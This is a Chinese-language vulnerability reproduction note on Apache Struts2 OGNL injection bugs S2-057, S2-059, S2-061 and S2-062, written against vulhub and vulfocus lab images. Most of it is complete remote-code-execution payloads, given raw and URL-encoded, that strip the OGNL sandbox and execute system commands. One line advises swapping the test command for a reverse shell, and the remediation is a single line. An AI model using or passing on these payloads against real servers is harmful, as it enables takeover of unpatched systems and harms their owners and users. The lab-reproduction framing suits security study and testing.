一、漏洞描述
当Struts2的标签属性值引用了action对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险(S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,导致S2-061再次绕过了S2-059的沙盒;s2-062是由于对s2-061的修复不完整造成的,s1-061漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 为攻击者恶意构造的OGNL表达式执行时,就产生s2-062漏洞)
二、影响版本
s2-057:<=Struts 2.3.34,Struts 2.5.16
s2-059:Struts 2.0.0 - Struts 2.5.20
s2-061:Struts 2.0.0-Struts 2.5.25
s2-062:Struts 2.0.0-Struts 2.5.29
三、环境搭建
vulhub下载,docker-compose up -d 一键起环境
四、漏洞复现
1、s2-057:
构造发包:GET /struts2-showcase/ POC /actionChain1.action
编译前poc:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
编译后poc:
%25%7B%0A%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).%0A(%23ct%3D%23request%5B'struts.valueStack'%5D.context).%0A(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).%0A(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).%0A(%23ou.setExcludedPackageNames('')).(%23ou.setExcludedClasses('')).%0A(%23ct.setMemberAccess(%23dm)).%0A(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id')).%0A(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%0A%7D
2、s2-059:
构造发包:GET /?id=POC
编译前poc:
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
编译后poc:
%25%7b(%23dm%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request['struts.valueStack'].context).(%23cr%3d%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou%3d%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedPackageNames('')).(%23ou.setExcludedClasses('')).(%23ct.setMemberAccess(%23dm)).(%23a%3d@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(%23a.getInputStream()))%7d
3、s2-061:
构造发包:GET /?id=POC
编译前POC:
%{
(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context')).
(#bean.setBean(#context)).
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset)).
(#arglist=#instancemanager.newInstance('java.util.ArrayList')).
(#arglist.add('id')).
(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).
(#execute.exec(#arglist))}
编译后:
%25%7b(%23instancemanager%3d%23application['org.apache.tomcat.InstanceManager']).(%23stack%3d%23request['struts.valueStack']).(%23bean%3d%23instancemanager.newInstance('org.apache.commons.collections.BeanMap')).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get('context')).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get('memberAccess')).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance('java.util.HashSet')).(%23bean.put('excludedClasses',%23emptyset)).(%23bean.put('excludedPackageNames',%23emptyset)).(%23arglist%3d%23instancemanager.newInstance('java.util.ArrayList')).(%23arglist.add('id')).(%23execute%3d%23instancemanager.newInstance('freemarker.template.utility.Execute')).(%23execute.exec(%23arglist))%7d
4、s2-062(此处使用的是vulfocus的CVE-2020-17530的镜像,061的镜像062一样适用)
构造发包:POST /index.action
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
五、漏洞利用
直接替换'id'为反弹命令
六、漏洞修复
更新到最新版本